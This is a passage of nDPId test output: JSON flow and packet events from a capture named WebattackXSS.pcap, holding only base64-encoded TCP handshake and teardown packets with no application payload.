+00432{"flow_id":617,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8741,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348021,"pkt_ts_usec":660898,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T89AAD4GdgmsEAABwKgKMolGAFAJiKL79uK2jYAQAOVqYgAAAQEICgE87TQD5r6o"} +00432{"flow_id":614,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8744,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348021,"pkt_ts_usec":905158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02YFAAD4G7FasEAABwKgKMokQAFAj2zFQZjv9coARAOUQeQAAAQEICgE87XED5rmk"} +00433{"flow_id":614,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8745,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348021,"pkt_ts_usec":905380,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Q5dAAEAGgEHAqAoyrBAAAQBQiRBmO\/1yI9sxUYARAOMLOQAAAQEICgPmvuUBPO1x"} +00432{"flow_id":614,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8746,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348021,"pkt_ts_usec":905932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02YJAAD4G7FWsEAABwKgKMokQAFAj2zFRZjv9c4AQAOULNwAAAQEICgE87XED5r7l"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8756,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":618,"flow_packet_id":1,"flow_first_seen":1499348024206,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35168,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":618,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8756,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348024,"pkt_ts_usec":206226,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82E1AAD4G7YKsEAABwKgKMolgAFCsqjf8AAAAAKACchD\/vgAAAgQFtAQCCAoBPO+xAAAAAAEDAwc="} +00445{"flow_id":618,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8757,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348024,"pkt_ts_usec":206370,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiWCF9T2qrKo3\/aAScSB38wAAAgQFtAQCCAoD5sEkATzvsQEDAwc="} +00432{"flow_id":618,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8758,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348024,"pkt_ts_usec":207142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02E5AAD4G7YmsEAABwKgKMolgAFCsqjf9hfU9q4AQAOUW+wAAAQEICgE877ED5sEk"} +00432{"flow_id":615,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8763,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348024,"pkt_ts_usec":905861,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bDlAAD4GWZ+sEAABwKgKMokqAFBENIaeClbzaIARAOX7PgAAAQEICgE88F8D5rwe"} +00432{"flow_id":615,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8764,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348024,"pkt_ts_usec":906111,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MrtAAEAGkR3AqAoyrBAAAQBQiSoKVvNoRDSGn4ARAOP1igAAAQEICgPmwdMBPPBf"} +00432{"flow_id":615,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8765,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348024,"pkt_ts_usec":906629,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bDpAAD4GWZ6sEAABwKgKMokqAFBENIafClbzaYAQAOX1hwAAAQEICgE88GAD5sHT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8769,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":619,"flow_packet_id":1,"flow_first_seen":1499348025497,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35182,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":619,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8769,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348025,"pkt_ts_usec":497134,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA856FAAD4G3i6sEAABwKgKMoluAFBIkhdSAAAAAKACchCDMQAAAgQFtAQCCAoBPPDzAAAAAAEDAwc="} +00444{"flow_id":619,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8770,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348025,"pkt_ts_usec":497290,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiW4WAueQSJIXU6AScSDALwAAAgQFtAQCCAoD5sJnATzw8wEDAwc="} +00432{"flow_id":619,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8771,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348025,"pkt_ts_usec":497824,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA056JAAD4G3jWsEAABwKgKMoluAFBIkhdTFgLnkYAQAOVfNwAAAQEICgE88PMD5sJn"} +00432{"flow_id":616,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8775,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348025,"pkt_ts_usec":906974,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MGBAAD4GlXisEAABwKgKMok4AFAr8NuxL1hbzYARAOUuvAAAAQEICgE88VoD5r1i"} +00433{"flow_id":616,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8776,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348025,"pkt_ts_usec":907158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mQNAAEAGKtXAqAoyrBAAAQBQiTgvWFvNK\/DbsoARAOMpUQAAAQEICgPmws4BPPFa"} +00432{"flow_id":616,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8777,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348025,"pkt_ts_usec":907948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MGFAAD4GlXesEAABwKgKMok4AFAr8NuyL1hbzoAQAOUpTwAAAQEICgE88VoD5sLO"} +00432{"flow_id":617,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8784,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348026,"pkt_ts_usec":907369,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T9BAAD4GdgisEAABwKgKMolGAFAJiKL79uK2jYARAOVlQQAAAQEICgE88lQD5r6o"} +00433{"flow_id":617,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8785,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348026,"pkt_ts_usec":907551,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0dUVAAEAGTpPAqAoyrBAAAQBQiUb24raNCYii\/IARAONgIgAAAQEICgPmw8gBPPJU"} +00432{"flow_id":617,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8786,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348026,"pkt_ts_usec":908282,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0T9FAAD4GdgesEAABwKgKMolGAFAJiKL89uK2joAQAOVgIAAAAQEICgE88lQD5sPI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8790,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":620,"flow_packet_id":1,"flow_first_seen":1499348028117,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35208,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":620,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8790,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348028,"pkt_ts_usec":117807,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80XFAAD4G9F6sEAABwKgKMomIAFDG6SLzAAAAAKACchD2jwAAAgQFtAQCCAoBPPOCAAAAAAEDAwc="} +00444{"flow_id":620,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8791,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348028,"pkt_ts_usec":117919,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiYg5g7TNxuki9KAScSBAQQAAAgQFtAQCCAoD5sT2ATzzggEDAwc="} +00432{"flow_id":620,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8792,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348028,"pkt_ts_usec":118705,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00XJAAD4G9GWsEAABwKgKMomIAFDG6SL0OYO0zoAQAOXfRwAAAQEICgE884MD5sT2"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8799,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":621,"flow_packet_id":1,"flow_first_seen":1499348029395,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35222,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":621,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8799,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348029,"pkt_ts_usec":395102,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DoBAAD4Gt1CsEAABwKgKMomWAFBGnvpCAAAAAKACchCePQAAAgQFtAQCCAoBPPTCAAAAAAEDAwc="} +00444{"flow_id":621,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8800,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348029,"pkt_ts_usec":395197,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiZaKxK9BRp76Q6AScSCa+QAAAgQFtAQCCAoD5sY2ATz0wgEDAwc="} +00432{"flow_id":621,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8801,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348029,"pkt_ts_usec":395961,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DoFAAD4Gt1esEAABwKgKMomWAFBGnvpDisSvQoAQAOU6AQAAAQEICgE89MID5sY2"} +00432{"flow_id":618,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348029,"pkt_ts_usec":908301,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02E9AAD4G7YisEAABwKgKMolgAFCsqjf9hfU9q4ARAOURaQAAAQEICgE89UID5sEk"} +00433{"flow_id":618,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8806,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348029,"pkt_ts_usec":908520,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+x1AAEAGyLrAqAoyrBAAAQBQiWCF9T2rrKo3\/oARAOML2AAAAQEICgPmxrYBPPVC"} +00432{"flow_id":618,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8807,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348029,"pkt_ts_usec":909195,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02FBAAD4G7YesEAABwKgKMolgAFCsqjf+hfU9rIAQAOUL1gAAAQEICgE89UID5sa2"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":579,"flow_packet_id":6,"flow_first_seen":1499347957282,"flow_last_seen":1499347962887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34466,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":579,"flow_packet_id":6,"flow_first_seen":1499347957282,"flow_last_seen":1499347962887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34466,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":580,"flow_packet_id":6,"flow_first_seen":1499347958588,"flow_last_seen":1499347963888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34480,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":580,"flow_packet_id":6,"flow_first_seen":1499347958588,"flow_last_seen":1499347963888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34480,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":581,"flow_packet_id":6,"flow_first_seen":1499347961167,"flow_last_seen":1499347966888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34506,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":581,"flow_packet_id":6,"flow_first_seen":1499347961167,"flow_last_seen":1499347966888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34506,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":582,"flow_packet_id":6,"flow_first_seen":1499347962480,"flow_last_seen":1499347967888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34520,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":582,"flow_packet_id":6,"flow_first_seen":1499347962480,"flow_last_seen":1499347967888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34520,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":583,"flow_packet_id":6,"flow_first_seen":1499347963774,"flow_last_seen":1499347968888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34534,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8808,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":583,"flow_packet_id":6,"flow_first_seen":1499347963774,"flow_last_seen":1499347968888,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34534,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8811,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":622,"flow_packet_id":1,"flow_first_seen":1499348030687,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35236,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":622,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8811,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348030,"pkt_ts_usec":687033,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gAJAAD4GRc6sEAABwKgKMomkAFDF6nYHAAAAAKACchCh2wAAAgQFtAQCCAoBPPYFAAAAAAEDAwc="} +00445{"flow_id":622,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8812,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348030,"pkt_ts_usec":687160,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiaQ\/ByIUxep2CKAScSB2PwAAAgQFtAQCCAoD5sd5ATz2BQEDAwc="} +00432{"flow_id":622,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8813,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348030,"pkt_ts_usec":687745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gANAAD4GRdWsEAABwKgKMomkAFDF6nYIPwciFYAQAOUVRwAAAQEICgE89gUD5sd5"} +00432{"flow_id":619,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8817,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348030,"pkt_ts_usec":908964,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA056NAAD4G3jSsEAABwKgKMoluAFBIkhdTFgLnkYARAOVZ7QAAAQEICgE89jwD5sJn"} +00432{"flow_id":619,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8818,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348030,"pkt_ts_usec":909214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ICFAAEAGo7fAqAoyrBAAAQBQiW4WAueRSJIXVIARAONUpQAAAQEICgPmx7ABPPY8"} +00432{"flow_id":619,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8819,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348030,"pkt_ts_usec":909887,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA056RAAD4G3jOsEAABwKgKMoluAFBIkhdUFgLnkoAQAOVUowAAAQEICgE89jwD5sew"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8829,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":623,"flow_packet_id":1,"flow_first_seen":1499348033296,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35262,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":623,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8829,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":296951,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LtJAAD4Glv6sEAABwKgKMom+AFA+iNZDAAAAAKACchDGWwAAAgQFtAQCCAoBPPiRAAAAAAEDAwc="} +00444{"flow_id":623,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8830,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348033,"pkt_ts_usec":297096,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQib4da6BXPojWRKAScSA7jAAAAgQFtAQCCAoD5soFATz4kQEDAwc="} 